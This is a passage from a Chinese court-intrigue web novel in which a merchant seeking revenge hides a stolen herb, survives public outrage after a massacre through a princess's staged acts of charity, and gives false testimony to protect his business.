地上死尸还冒着热气,官兵们刀刃上的血还未擦净,胆敢反抗,就是与家人的阴阳两隔。
吓坏的商会成员嘴唇哆嗦:“证,证证人······”
姬无心副手拿着一张写好的供词和印泥过来,商会成员哭着、昧着良心,颤抖地摁下手印。
“真是无歼不商,见风使舵。”姬无心利用完别人,留下嘲笑,抽了下马,潇洒离去。
奏折快马加鞭进宫。
傍晚了,气温低,血迹在地上冻成黑色,剃刀乱七八糟落在地上,横陈在巷子里的尸体,堵住了去路。
前来为亲人收尸的百姓,哀嚎连天。
湖边归来的姜凌嚣和耿正疾步拐进巷口,猛地刹住脚,震愕。
本以为“狸猫换太子”的收尾是场轰轰烈烈的大功告成,转眼间,惨败涂地。
姜凌嚣皱成丘陵的眉间,不停挤出“怎么会这样?怎么会这样!”
耿正红冲进玄虎堂后院,揪住死鱼眼的衣襟,咆哮:“要不是你杀了姬无心的马,他不会射杀无辜百姓!”
小炸药上前解围,“不是他。”
“是他发的剃刀!他发完,混在了人群里!趁百姓与姬无心冲突时,杀了马,刺激了姬无心!”耿正举拳要活活捶死死鱼眼。
小炸药奋力拉住耿正胳膊:“真不是他!他当时站在我身边,一直!他经常揍我,我记恨他,绝不可能为他作伪证,但这事儿太大了,也不能冤枉了他。”
他说着,嗓音痛哑起来:“之前我娘被杀,我也以为凶手是他来着,后来才知道,他是听到我娘被杀的动静,冲进房里查看,所以鞋上才沾了血。后来才水落石出,凶手是姬有德。”
招风耳也提醒耿正:“姬无心没找到地藏蕨,又遭了百姓的挑衅,说不定是他手下故意杀了马,好找借口·射杀百姓出气。”
死鱼眼整天双唇紧闭,几乎不说一句话,嘴除了用来吃饭喝水,就是作恶后嘴角带起一丝嘲讽的浅笑。
但他此刻翻个不屑的死鱼眼,眼白看人,摆明了不是他。
耿正松开他,转身对着姜凌嚣泄火:“你为什么每个人都发剃刀?!分明就是你早就策划好了这一切!”
姜凌嚣解释:“年前才闹过瘟疫,生怕剃刀混用传染疾病。再说,剃刀可以用很久,百姓拿回家作纪念,可以不时感念玄虎堂散发的功德。”
但话落后,他感到一种强烈的不满,因为突然察觉,解释让他处于下位,耿正这是与他权力错置。
耿正也并没被说服,他提拳,与姜凌嚣面对面:
“别以为走到了今天没失足,就强到了可以操纵民心。别忘记你的目的是复仇,不是弄权。好自为之!”
丢下重重的警告,耿正拖着苍老的身体离开。昏黄夕阳下,他微驼的身影很显落寞,孤独。
这个从不谈论自己的老头,在对自己暴露了身世与脆弱之后,应该比之前更加臣服他,却相反的当众忤逆,挫伤他的威严。
姜凌嚣望着耿正的表情,渐渐变得黑沉,与天色混为一体。
夜深人静,玄虎堂厨房里打起火把。
几个人抬起沉重的大黑锅,铲出一堆草灰。
掀开灰下埋着的木板,有个坑,盛着地藏蕨汁的大木桶露了出来。
这个坑,与灶台的尺寸完美契合。
挖坑前,姜凌嚣精心计算过尺寸,避免挖掘范围超出灶台,否则敲击地面会发出空鼓声,暴露地下有诈。
而水缸下埋棺材的明显大坑,不过是李代桃僵。
尤其棺材这种晦气东西,冒然出现在喜庆日子,冲击力和话题性比较强,十分抢占注意力,不会让人再对灶台过分注意。
加上姜凌嚣故意做给姬无心看的微表情,成功误导了姬家兵以为只有一个坑。
要不是当着这么多手下,姜凌嚣真想为瞒天过海的自己高歌一曲。
他正得意泛滥,耿正风尘仆仆从门外进来:“姬无心人马追出城,去寻找地藏蕨下落了。趁现在城中防守薄弱,赶紧出去炼丹。”
当初要是把地藏蕨转移出城外,估计这个时候已被姬家兵逮到了。所以,才把最危险的地方做成最安全的地方。
姜凌嚣高抬的眉桥里,满是对自己的欣赏。
坑洞回填,大木桶和炼丹炉抬上马车。
临出门前,小炸药凑过来,偷偷问耿正:“耿大爷,你还好吧?”
今日遭到鞭打,怕死怕事的小炸药竟不顾势力悬殊去阻止姬无心。
耿正无情的三角眼变成略带柔和的圆形,他拍拍小炸药的肩膀,转身:“好好完成你的活,孩子。”
小炸药从小没有爹,年前又没了娘,再也不会有人将他当作孩子。
一声“孩子”叫得沉重而亲切,他深深望着耿正衰老的背影,跳上车夜行。
远离城郭,到达树林,就河炼丹,产生的黑色污垢随水而流,犯罪与销毁证据同时进行。
今晚虽是上弦月,随着夜深月高,月光却异常得明亮,照在屋顶、墙头、地上,像下了厚厚的一层雪。
炼丹马车回来了,成丹品质稳定如初,姜凌嚣查看过后,十分满意:“明日就开门售卖。”
盗窃地藏蕨紧张危险,不知情的伙计早已被安排休假,打包就由他们几个杀人越货的来做。
忙完一切,姜凌嚣从店里走向斜对面的客栈。
路,空出来了。
巷子里的尸体,被各人家属认领得差不多了,弃留原地的,是不幸被灭门的,家中已无人收尸。
靴子踩中一滩干涸的血迹,发黏,姜凌嚣抬脚一看,雪白的鞋帮上沾了一滴鲜红。
他摸了摸身上,忘记带手帕,白衣裳也沾了块污迹,他索性脱了外裳,擦了擦鞋帮,随手一扔。
白衣裳落在一具死尸身上,凸出死人五官与身形的流线。
仿佛是自己躺在死人堆里,姜凌嚣心惊胆战。
狡猾狠辣如姬无心,终是输在了自己手里,抓不到自己把柄,惊魂疑云很快转为狂妄,他忍不住吹起口哨。
刚踏上客栈三楼走廊,他撞到了个人,口哨戛然而止。
小虎抱着狗,矗立在廊下,棚顶遮住了月光,她的表情黑糊一片。
“等我呢?下回不许了,吹了冷风要伤寒的。”
他要脱外衣给她披上,才想起来刚扔了,只剩身上这件黑漆漆的贴身长衫。
小虎声音低沉:“你很开心?”
他笑了:“今日准备就绪,明日就可以正式卖丹了,
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当然心情不错。”
“从一具具尸体上踏过来,也能吹出口哨?”
他的声音绷成一条紧弦:“你什么意思?”
她在黑暗里冷笑:“因为你,许多人死了。”
生怕别人听见,他压低嗓门:“你发什么疯?那是姬无心射杀的,与我何干!”
“那是谁把那么多百姓召集起来的?”
“我自掏腰包行善,这也有错?”
“剃刀是他们自带的,还是你发的?”
先是忠心无二的耿正,后是枕边人,今晚邪了门的不约而同朝自己找茬。
姜凌嚣极为不耐烦:
“姬无心带兵冲我来,我差点被他诬赖成窃贼,你不关心我,关心跟你素不相识的百姓?你可真是心怀天下!
当初是你抬手便杀,少年都不放过,你好意思在这高高在上指责我?少在我面前装仁义道德!”
小虎抱着狗与他擦身而过,往楼下去。
他一把将她拽回来,很冲:“去哪儿?”
“睡觉去。”
“走错方向了。”
她使劲扯回胳膊,“我要去找紫玉一块儿睡。”
姜凌嚣目光钉向她怀里的白狗,冷哼:“你找她,还是去找沈丘染?”
小虎愣了:“你什么意思?”
姜凌嚣咬牙切齿:“他给的狗你就稀罕到不撒手,我给的,你是从来不碰。
从前,你不是很厌恶沈丘染吗,还说他和沈家人一样的该死。现在怎么这样对他情有独钟了?”
“啪”,他脸上挨了一记响亮的耳光。
她食指差点戳到他鼻尖,恶狠狠的:“沈丘染是我在这个世上唯一的弟弟。他是个正派人,你要是心敢这么脏,就给我死一边去!”
枕边人打他,让他死,他疯了,扯过她下巴:“你为他打我?”
“啪”,这一巴掌比上一巴掌还狠,“我有没有警告过你,心里给我干净点!”
殴打声引来了一灰一黑两只狗,他抓起来,使劲往她怀里塞,又要抢走她抱着的小白。
争夺激烈,小虎倒在了栏杆上,身子后仰,三只狗从她怀里坠堕。
姜凌嚣及时握住她的腰,她才没掉下去,他满脸愧疚:“对不起······”
她猛地推开他,跑下楼。
月光下的地上,两滩血。
只有小黑站了起来,一瘸一拐走了几步,就能跑到廊下跳跃,毫不关心同类的死亡。
她站在楼下,双眼喷火:“还记得吗,仁义道德是你非让我学会的,而你,全丢了。”
他颤抖地抬起杀生的双手。
月光像审讯对准的灯光,身着黑衣的他,与地上的黑影连成一片,黑成一团。
三只狗身上,他仿佛看到了自己的影子,清白与模棱两可的灰,彻底泯灭,从此只剩黑。
今夜,周围亲近的人,先后给姜凌嚣离心的滋味。
这种不好受,没有随着一夜噩梦结束。
次日清晨,巷子里的血迹清理干净了,玄虎堂刚开门营业,就有百姓从四面八方涌来。
以为是来捧场,姜凌嚣笑脸相迎,却发现来者不善,双眼通红,手里提着篮子,在掏着什么凶器似的。
昨天还在感念玄虎堂的百姓,今日翻脸无情,恨不得撕碎了姜凌嚣:“都是你和姬家的私仇,害了近四千条人命,还有脸开业!你怎么不去陪葬!”
昨日差点丢了小男孩的年轻母亲,更是拖着口小棺材,停在姜凌嚣脚下。
小棺材掀开,里面是副剔得干干净净的小孩骨架,仿佛被什么恶鬼吃·干·抹·净了。
他后背的汗毛倒竖,“发生了什么?”
年轻母亲哭得几乎咽气,指向耿正:“昨天国师就好心提醒我,有的老头连孩子都不放过!我孩子昨晚睡觉时还好好的,今早起来就只剩一副白骨了!你还我孩子!”
是姬无心的栽赃!那个老恶魔,最终还是对耿正救下来的小男孩下手了!
“咻咻咻”,臭鸡蛋纷纷砸来,敲在姜凌嚣眼眶,他眼前一黑。
玄虎堂刹时臭不可闻,百姓不停唾骂,姜凌嚣从昨日大善人沦为臭名昭著。
59. 造神
竞安宫中,每日例行的保胎药送来,竞天端起来刚送到嘴边,双眼闪过一丝惊恐,旋即放下碗,“太烫了,一会儿再喝。”
她再一次庆幸自己的未雨绸缪,提前熟悉了堕胎药的味道。
至于是谁有这个胆量,敢来害她,还能顺利通过太医院道道手续查药,她不敢猜,不能猜。
但她猜得出,一定是姜凌嚣出了事,还是大事,驸马没有价值了,所以才要清除了她肚子的孩子。
竞天强迫自己镇定半天,支走宫女,将药倒进花盆,拿了一卷上等宣纸,来镇和殿找朱帝求墨宝。
刚到宫门,就被陶公公拦住,他躬身请安:“回禀公主,皇上还没起呢。”
日上三竿,肯定是昨晚又喝了个酩酊大醉。
竞天微笑:“皇帝日理万机,想必又是批了一夜奏折。”
“公主慧明。”
“昨天来了很多奏折吗?”
“哪天都不少的,公主。”
姜凌嚣最大的仇家是姬家,竞天问得露骨:“有姬无心的吗?”
陶公公回笑:“奴才老了,一门心思伺候皇上饮食起居,其它的注意就少了。不能说有,也不能说没有,因为不清楚。”
宫里活得久的人,可说可不说的话,压根不说,所以废话也里有大乾坤。
可姜凌嚣具体犯了什么事,能让国师身份的姬无心参他,必然是大事。再问,就涉嫌后宫妄图干政了。
竞天只好用宣纸敲敲手指,惋惜:“还想求副皇帝的墨宝,拓下来绣荷包上,送给皇帝呢。”
“奴才感激您挂念着皇上。可今儿恐怕不成,因为皇上要出宫狩猎。御花园里,诸位王侯公子等着呢。”
那帮在宫外的,一定更清楚姬无心和姜凌嚣发生的新事故,竞天赶忙移驾来到御花园外,隔着墙,窥听里面的谈笑。
“有病,挣俩骚钱,自己留着花不好吗?非要装,搞什么慈善,还弄了那么多剃刀。这下好了,失控了,官方当暴民剿灭百姓,百姓骂他罪魁祸首。现在就等上头最后的一锤定音,一旦定性成煽动暴民,等死吧他。”
“士农工商,商最下贱。估计他就是自卑出身,没个名门正派加持,张罗些小恩小惠拉拢蝼蚁们,给自己弄个好名声,好给自己的驸马头衔镀层金,但是玩砸喽。”
“嘿嘿,你别说,这平民驸马还挺有小心思的,就是眼界不高,手段不行,偷鸡不成蚀把米。”
“和穷贱百姓一个样,一帮蝼蚁。”
“哈哈哈哈······”
一群富贵闲狗,吸食着民脂民膏才得如此自在逍遥,却反过来鄙夷唾弃着被敲骨吸髓的百姓。
竞天听得一脸阴沉。
秋绘死后,夏印成了竞天的贴身宫女,她虽年纪小,胆子和智谋不小,跟着竞天一路转过来,她已经明白了姜凌嚣出了什么事,悄悄问:“公主,您不赶快想办法解救驸马吗?”
上赶着救,只会让他觉得理所当然,那是下贱。她可是尊贵的公主。
等他自己在烧红的烙板上快烤熟的时候,她的出现对他才如天神降临,令他臣服。
朱帝出宫狩猎,批不了奏折,还有白天一日的周旋余地。
竞天一边往竞安宫走,一边思索着办法,迎面撞上一个人。
拜基和亲队的亲王,往后退了几步,抬起胳膊,手臂荡来荡去,“哎呀,断啦!”
“赶快喊太医!”
“不用了,我这是老毛病了,脱臼,您帮我安上就好了。”亲王甩着手臂。
竞天一时顾不上男女授受不亲,听从了亲王的指挥,两手握住他的小臂,使劲往上一怼。
亲王垂着浓密的睫毛看着竞天,唇角勾起,浑身笑得发颤,竞天才反应过来他是装的,气得一把甩开他的手臂,扭头就走。
他大步一跨,将她拦住,歪头:“别走那么快,万一再摔了,我还得抱你。”
竞天冷脸:“亲王自重。”
“我叫毒丸。”
“你叫毒蛇也得给本宫起开,本宫是大峪国的公主,你不过是藩国亲王,少放肆!”
毒丸猛地俯身到竞天耳边,低声:“你是不是要救驸马?说不定我能帮你。”
说完,他直起身子,双手背后,一副绝不再招惹她的样子。
竞天怀疑:“你为什么要帮本宫?”
“据我所知,大峪国风气保守,对女人要求更甚,你却开天辟地未婚先孕,是个逆子。我本身也不是什么好东西,就喜欢看人折腾,越折腾,越让我着迷。”
竞天首肯:“你还真不是个什么好东西。”
“想好了尽快找我,一会儿那个大懒龙起床了,就把我带出去打猎了,你就找不到我喽。”
毒丸眨眨发绿的眼睛,调皮地拐进御花园,跟另一群不是什么好东西的玩闹起来。
竞天心中飞速转了转,捡起一块石头,抛进墙内。
“谁他娘的不长眼,差点砸到我!”有人骂。
刚拉起弓的毒丸,坏笑了一下,直到磨磨蹭蹭玩够了,才放下弓出来园子。
竞天已经等到焦躁了,抱怨:“你怎么才来!”
毒丸手捂在脸上,故作害羞,但露着一只迷人的绿眼睛眨巴眨巴:“等我等不及了?坏女人哦。”
“你再这样,本宫就走。”竞天正色。
毒丸收敛:“我去跟大懒龙讲,不去狩猎了,今天陪你折腾。”
早就听闻藩国蛮子言行狂放,今日算是见识到了,竟连皇上也不怎么放在眼里,竞天懒得再跟此人废话。
仗着两国正努力言和,亲王的要求只要不过分,朝廷都予以满足,加上竞天已有孕,也不怕闹出什么风闻,毒丸成功将她带出宫。
出了宫,竞天绝非去见姜凌嚣,而是令人匪夷所思地进了几家棺材铺和布匹店。
惨遭百姓抵制,玄虎堂关门歇业。
不明就里的吕富全急眼:
“事儿出在咱店门口不假,可凶手是姬无心呐,叫咱开不了业这不是逮不住兔子扒狗吃嘛!不行咱就报官,让官府来追查真相!看看咱到底有没有责任。”
一句话提醒了姜凌嚣。
听小炸药讲,姬无心是当场写了奏折的,最终一定会有官府来查证现场确罪。
就算死鱼眼手脚干净,留不下任何剃刀是他弄来的,可这些百姓聚集在此,可是因他姜凌嚣的亲笔告示而来的。
那么,一旦这些百姓打成暴民,他就有带头煽动的嫌疑。朱帝最恨忤逆,不会给他第二次苟活的机会。
想到此,姜凌嚣浑身汗毛倒竖。
姬无心这一招,实在是太过歼诈阴毒,老谋深算!
昨晚太过沉浸在胜了姬无心的喜悦里,狂妄到不能自已,完全大意了!
只要官方还没定性,他还有一丝反转的机会。
思来想去,姜凌嚣换上隆重的缂丝白袍,准备进宫找竞天求助。
他匆匆下楼,在客栈天井里和小虎走了个面对面。
地上死狗的血迹清理了,依旧留下个模糊的印记,就在两人脚下,像两人昨晚之间的伤害,没有烟消云散。
她冷冷的,眼皮都不抬,对他着装的反常漠不关心,不似之前他身上但凡出现点波澜,她必然闹出一番壮阔,追问,缠闹,吃醋,驯服般地让他保证不是去勾·引别的女人。
原来,这是不在乎的滋味。
他脸颊一侧绷起一条棱,脸色铁青,“回来了?”
昨晚,她真跑去找紫玉。他不放心她独身夜行,悄然一路跟去,眼见紫玉出来沈府门口接她进去,他才转身离开。
她不回话,默然上楼。
他已没有更多时间跟她缠斗,十万火急进宫。
从太后那里求了再次出宫的准许,竞天刚回宫换好衣裳,宫女进来提醒:“公主,驸马求见。”
竞天撩起帘子刹那,姜凌嚣进殿,他眼神呆了一呆。
午间阳光盛艳,洒在她过于华丽臃肿的袍子上,金洒洒的朦胧,仿佛她是尊镀金神像。
在自己宫中,她穿成这样,他感到一丝奇怪。
“怎会这个眼神?”竞天笑问。
姜凌嚣收回神色,迟疑:“你今日穿得比往日隆重。”
她的眼神在他身上打个圈,“你不也是。”
他穿成这样,是来朝她出卖自己的,尽管他内心极力否认。
地砖上的阳光在偏移,他的时间与机会在点点消逝,他猛地上前,抱住了竞天,连句铺垫也没有。
他第一次的主动,没有带给她多大的喜悦,因为他急功近利。
此刻也不是折磨他的时候,竞天柔声:“你好像有心事。”
他立刻松开她,严肃将眉眼间的丘峰遮出深情的浓荫,
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“竞天,我可能要出事了。为了孩子······”
她盯着他絮絮而谈的嘴唇,心里又好笑又悲哀,他处心积虑要堕掉的孩子,现在成了他口中的舍不得,不过是为了自保。
“你让我帮你,我知道了。”竞天体贴地握起姜凌嚣的手。
姜凌嚣焦灼:“可我还没想到怎么挽救局面。”
“我来。”
两人马车一前一后离宫,来到玄虎堂周边的民居。
竞天撩开窗帘,左右看了看,指着前方一家门口挂着白幡的,“就去他家。”
姜凌嚣一头雾水地扶着竞天下车,站到白幡之家门前。
院子里,正传来哭声:“你就撇下一大家子走了,连个棺材板儿钱也没留下,怎么敛你哟!该死的姜凌嚣,害苦了我们呐!”
侍卫叩响柴门,高喊:“公主驾到!”
哭声戛然而止。
一个穿着简陋丧服的妇人抹着眼泪,带着一串高低不齐的孩子出门,仓惶给竞天磕头。
还未及跪下去,竞天就扶起了妇人,“我是竞天公主,这是未来的驸马姜凌嚣,一同前来吊唁。”
妇人往回抽手,激动:“我不能脏了您的衣裳。”
竞天执着而亲热地拉紧了妇人乌黑粗糙的手,叫过还没搞清状况的姜凌嚣,一同进门,为死者上了一炷香。
公主驸马为草民吊唁,死者全家傻了眼。
一阵冷风吹开地上破烂草席,露出尸癍斑驳的尸体。
竞天使个眼色,侍卫抬进一口棺材,动手入殓了死者。
“人生在世,冷多暖少,那些回味起来暖心的瞬间,几乎都来自家人,不该这样一张草席卷了就扔到乱葬岗。
昨日,被歹人从中做梗,误导了官方和百姓,才发生了不幸,导致驸马一番好心被付之东流,被人误解。尽管如此,驸马依旧不计前嫌,要给死者最后一个体面。”
竞天拉着妇人的手,潸然泪下,又送出一匹布:“逝者已矣,节哀顺变。开春了依旧冷,穿暖和些,莫冻坏了身子,替逝者好好活下去。”
妇人全家给竞天和姜凌嚣不停磕头,热泪盈眶。
“公主和驸马大恩大德,永世难忘!”
“都是歹人害百姓误解了驸马!还请驸马宽恕!”
事已至此,姜凌嚣彻底明白了,不由暗叹竞天的城府深广。
街两旁,摆满了样式一样的棺材,每口棺材上放着一匹上等布,队伍整齐划一,一直蜿蜒出十里地,宏大壮观。
不停分发下去,替姜凌嚣喊冤的越来越多,追随着竞天的背影,虔诚热烈得仿佛追神,形成人潮,最终汇入大街上。
穿着孝服的百姓自发为两人磕头,齐刷刷跪了一地雪白,感激不尽的话语从成千上百张嘴里哭出来,杂乱嗡嗡,低沉肃穆,像诵经,散发出震撼的气场。
亲眼目睹了自己声望的扭转,姜凌嚣使劲咽了几下喉咙,深刻领会了“水能载舟亦能覆舟”的翻云覆雨,震荡刺激。
而竞天,不喜不悲地睥睨着所有人,宛如真神。
姜凌嚣扶竞天上了马车,她将他拉进了自己车里。
已是第二次救他于水火,姜凌嚣感激:“谢谢你。只是,你怎样想到的?”
“他们贫苦,精神匮乏,一生中少有善待,而我乃大峪国第一公主,屈尊纡贵,给予实物和精神上的抚慰,我便是悲悯、希望的具象。
他们如果真的认为有神,那便是我。这是他们一生与神最近的距离。”
姜凌嚣感到一种被封印的浑身麻木。
那些棺材和布匹,是准备好的,她早就知道他出了事,等他前去求救,他自以为是的“有分寸的牺牲自我”,不过是场自投罗网。
车子一路向前,一路传来山响的“竞天公主千岁!姜氏驸马安康!”
一声高过一声,如浪涛天,形同昨日他煽动百姓对姬无心的集体抗议,一夜之间变成了颂扬感恩。
那种令人陶醉的虚荣,再次席卷了姜凌嚣,他像吃了地藏蕨炼制得的丹药,有种喝醉了漂浮感,被一声声浪潮推到云端。
竞天笑得玩味:“驸马这个头衔,你喜欢吗?”
“喜欢。”
“那你要学会讨我喜欢。知道我喜欢什么吗?”
“知道。”
她闭上眼。
他低头,吻了下去。
60. 碎仰
暴乱事件官府最终判决还未下,玄虎堂就堂而皇之重新开业,放了两大车小炸药造的强力鞭炮,响声震天,引来不少围观,打听什么炸了。
耿正斜了小炸药一眼:“才出了那么大的事,这样招摇过分,不怕让人怀疑到私制炸药吗?”
小炸药无奈撇嘴:“我能做主?”
那便是姜凌嚣非要闹出这样大动静了,他已与曾经的低调相差甚远了。
耿正满脸褶子快要耷拉到地上,无声叹气,转身离开。
姜凌嚣喊他:“一会儿还有大宴,你干嘛去?”
“寻找线索。总得有个人记得我们最初的目的,是给姜家复仇。”耿正翻着冷漠的三角眼,头也不回。
老头最近跟刺猬似的多刺,姜凌嚣洋溢着得意的笑脸瞬间黑沉,甩袖进店。
店内宴席上,除了极个别同仁,其它位子全都空着。
姜凌嚣不悦:“人呢?”
孙大可上前:“东家,诸位同仁前日遭了惊吓,身子欠佳,虽没亲自到场,但都托人送了礼带了话来,改日再来道贺。”
“开业要的是人气,我要贺礼做什么。”
吕富全喉管里像卡了个令人疼痛的石子,话语艰难:“东家,虽然咱今天是喜事,但我还是得提醒您,秦会长和孟副会长是在咱后院没的。”
“节哀顺变。”姜凌嚣拍拍吕富全肩膀。
“当初您入狱,为您奔走在前请愿的就是秦会长和孟副会长,今日他俩送葬,我的意思是……”
“开业大吉!”
门口一阵喜悦的嘈杂,几个毫无交情的官员前来恭贺。
话里话间,是根据昨日民间口碑逆风扭转,预测姜驸马今后必将飞黄腾达,前来结交。
姜凌嚣忙着热情招待新朋,回头叮嘱吕富全:“多从柜上支些银子,你去帮我吊唁二位恩人。”
他自己才不满了别人礼到人不到,自己又如出一辙。
吕富全看了一眼姜凌嚣忙碌欢快的背影,神情复杂出门。
京城街道盘根错节,人如蝼蚁,各自结群,同一日里有开业,有殡葬,也有走马上任。
沈丘染因涉嫌劫法场,被朱帝夺走兵权,但太后念在此举未成,不可冒然定罪,加上其骁勇善战,军功赫赫,不可在朝廷亟需人才之时,荒废了栋梁。
因此,虽未官复原职,但授予沈丘染天理寺一等督职位,秉公审理积压案件,以正清明。
同前来天理寺报到的,还有他曾经的副官韩垠。
两人一起站到正堂挂着的烫金匾额下。
沈丘染的手掌有力地搁在韩垠肩头:“是我拖累了你。”
韩垠一副无所谓的样子:“新婚被窝都没捂热,我就上了战场,回到家,孩子都出生了!只要脑袋瓜子没让傻子舔过,舍家撇业和老婆孩子热炕头,就知道选哪个。”
那日,沈丘染要救姜凌嚣,问韩垠敢不敢跟自己一起冒险,韩垠没任何迟疑就答应了,随即受了牵连,剥去军职,停发俸禄。可他的孩子才出生,正是用钱的时候。
这次重新上任前,沈丘染宁可俸禄减半,也要朝廷将韩垠一同调入天理寺。
朱帝生怕沈丘染学着姬无心盘结势力,一开始并不应。
好在太后好言相劝:邪恶势力强劲,若要铲除,必须得让清流成势,单打独斗是成不了气候的。
背后的一切苦心运作,沈丘染没有向韩垠解释。韩垠也不问,他清楚自己不会平白无故站在这里,一定是沈丘染对上的极力争取。
两人默契的仰望头顶上的【正大光明】匾,不约而同掏出拳头,“咣叽”一碰,同步踏入公堂门槛,一起拒绝了扑上来的热情寒暄,即刻接手处理久而未决的案件。
从早忙到黑,沈丘染和韩垠还扎在满屋子的案卷堆里,熬的头疼。
因为一件衙役暴力征税,村民们用锄头打伤了衙役,全村遭到多人灭口的案件,在地方上闹大了,捅到了天理寺。
半个县的农户摁了手印请愿,要求查杀行凶衙役。
案件脉络清晰,人证声势浩大,却尘封五年未判,沈丘染气地捶了桌子,大骂前任饭桶。
都是兵疙瘩脑袋,韩垠比沈丘染稍微迂回点,提醒:“民怨沸腾,能拖五年,肯定是打点好了,有人保。”
不止有人保,还因为凶手是衙门的,一旦判了,相当于打官家的脸,凶手征的赋税也是给朝廷,又不是中饱私囊。
天天宣扬公平的朝廷,却迟迟不将公平还给百姓。仔细追究起来,公平的含义,也许不是为了天下的公,而是为了朝廷的公和管理的平衡。
沈丘染又不傻,他只是恨,恨官场不能一清二白,泾渭分明,一腔欲荡尽肮脏的滚滚热血冲进弯弯绕绕,像滔天巨浪被分支成小溪,四周都是阻碍的岸,让人感到无力。
他暴跳如雷:“还不如上战场,那里只有敌我,不是他死就是我亡。凶手咔咔杀人,就该赶紧死!可真判决的时候,杀不杀凶手倒谨慎起来,一议再议,一拖再拖,该死的又多活五年!屌公平,操!”
“我现在听见公平也牙疼腚疼的,嗐,咱端这碗饭,不说公平,那也得相信正义。”
沈丘染一时黯然:“说实话,以前我相信正义就像相信太阳永生不死这样坚定,但现在······”
他拍拍手边两摞齐人高的案卷,扑起一阵呛人的灰,痛心疾首:
“这里面都是一条条曾活蹦乱跳的人命,变成了薄薄几张纸上的一行字,让岁月埋在灰尘里这么久,都没能洗冤。白让作恶者苟活了那么些年,正义在哪里?”
第一次见沈丘染的时候,他是个意气风发的青年,不可一世,泼洒着所向披靡的英雄气概。
战场洗练,淌过了血河尸山,不过一年,他沧桑老成了许多,信仰几经更改。
自己追随的人,突然这样发颓,韩垠挥拳鼓舞:“你得信正义存在,让我知道你是打不倒的,我才敢把后背交给你!”
沈丘染沉默。
韩垠合上案卷,起身:“外面扔的心都是白费,只有搂在怀里的热烘烘才是真的,我回家哄孩子去了。”
话落,皇上手谕到。
玄虎堂周边发生剃刀党暴动,姬无心予以镇压,射杀暴民三千九百五十四人,着天理寺特急查证。
刚才还干够了的俩人,立刻抄刀跨马,风驰电掣出门。
巷子的地上,墙上,残留着斑驳的血迹,周边走访也能证明不少百姓遭到射杀,毋庸置疑。
唯一对证不起来的,就是姬无心上奏的是先有暴民作乱,后有射杀,而死者家属咬定了是姬无心先故意射杀,后定的罪名。
韩垠咬牙切齿:“操,鬼也知道这里面有鬼。”
沈丘染:“别急,这案子最终是被顺理成章定成镇压暴乱,还是翻成冤案,还有个最关键的突破口。”
韩垠兴奋地摩拳擦掌:“姜凌嚣的口供!因为他,百姓们才在此聚集,他知道内情,而且他是准驸马,说话也有分量,只要他一口肯定姬无心先射杀的百姓,我们就可以为近四千名百姓正名!”
沈丘染摸着墙砖上的血迹,
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眼中先是潮湿阴暗,后又渐渐燃起亮光:“现在我可以回答你,今后还相不相信正义。冤魂太多,让我没办法相信正义的存在,但我可以成为正义。”
账房里,姜凌嚣正“噼里啪啦”盘账,门被推开,沈丘染和韩垠进来。
沈丘染开门见山:“三哥,前日惨案需要你做个口供。”
竞天把姜凌嚣从姬无心与死者的矛盾里摘了出来,死者家属认定了姜凌嚣是自己人,她让他只需要承担下“好心被人利用做了坏事”无关痛痒的连带责任就好。
顺从竞天令他难受,且他近日对朝廷里的事,非常着迷,什么都想知道。
姜凌嚣推开账本,回沈丘染:“做口供可以。不过这涉及到太多性命,得谨慎对待,你们有什么相关文书给我个参考方向吗?”
还挺会走过场,沈丘染和韩垠相视一笑,拍出朱帝手谕。
姜凌嚣细细扫视,朱帝笔迹还是毫无长进,附上了姬无心的奏折内容。
按照两家的血仇,姬无心应趁此事将姜凌嚣打为暴乱煽动者,可奏折里完全没提到他。
诡异。
飞速思索过后,姜凌嚣忽然浑身血液倒流,姬无心这老毒物,原来是在逼他站边!
如果他承认先有射杀,那姬无心就会爆出玄虎丹里有地藏蕨,朱帝定会派出整个太医院查丹。
之前沈丘染递交了地藏蕨胶,闹得整个太医院大开眼界,真要查丹,很难说会不会被查出点蹊跷。
就算查不出什么,这样一闹,玄虎丹已经沾上加了地藏蕨的嫌疑,今后必然遭到各方暗中监视,炼丹寸步难行。
而如果他作证先有暴乱,才有姬无心镇压,那就迅速结案,他和姬无心各得一身清白。
他有秘方,姬家把控着边疆,双方再有血仇,也可能因为巨大的利益,有合作的可能。
姬无心跟狼似的,每一步走得都极为深远狠辣,狡猾诡诈,一旦错了,就沦为他口中的猎物。
近四千条冤魂,和自己的前途,到底背叛哪个更划算?
答案很快在姜凌嚣心中水落石出。
“是先有暴乱,后有镇压。”他道。
回到天理寺,沈丘染和韩垠脸上的惊呆还没退去。
沈丘染:“这案子就这么······结了?三千九百五十四条人命。”
韩垠和吃了屎似的难受,抖抖手里姜凌嚣摁了手印的口供:“不然呢?难道我们要诱导他口供作假吗?”
两人没抓没落的,面面相觑。
在【正大光明】匾下没有方向地转了一圈,韩垠蹬蹬地,“既然结案了,那我回家热炕头去了。”
韩垠一只脚已踏出了大门门槛,沈丘染忽然喊住他,话到嘴边,咬在了齿间,仿佛有什么难言之隐,蚊子哼哼似的:“有没有那种······最为不可能的可能······”
“你说啥?”韩垠伸长耳朵。
“我说路上小心点。”
沈丘染望着韩垠背影消失在门外,庆幸没把一闪而过的天马行空、风马牛不相及的那句说出口。
毕竟小虎割了姬有德的项上人头,姬无心差点凌虐死姜凌嚣,结下的是血海深仇,姜凌嚣性格又刚硬难屈,绝不服软,他为仇人作假证是不可能的事。
结案陈词写了好几遍,都被团成一团扔在地上,毛笔都被沈丘染劈叉成扫把了。
三千九百五十四条人命,怎么看都带着冤屈,那个古怪的想法又忍不住从心底冒了出来。
如果姜凌嚣肯为姬无心作假证,会因为什么?
61. 正房
开春后,万物蠢蠢欲动,西北边疆又始骚乱,赈灾平乱,军费疲惫不堪。
朱帝得知玄虎堂重新开业,又开始催着要“赐”驸马府。
横竖都是送钱,老让小虎跟着自己住客栈,居无定所也不是事儿。无法让女人踏实依靠,别用男人脸面活着。
盗窃来的地藏蕨炼成的丹卖了,进账后,姜凌嚣立刻上缴给了朱帝。
银子上缴后,驸马府钥匙交到姜凌嚣手中,他立刻带着小虎去参观。
添宅的喜悦冲淡了两人近日隔阂,小虎主动跃到姜凌嚣马上,他的臂弯使劲一圈,下巴磕在她肩头,她牵着缰绳,他握着她手腕,两人腻歪前往。
府邸占地面积近五亩,主体建筑三进九开间,有两条胡同、两廊院以及后院包围,共有厅房九十九间,天井十二个,水井九口。
九曲回廊,丹楹刻角,雕梁画栋,气派奢华。
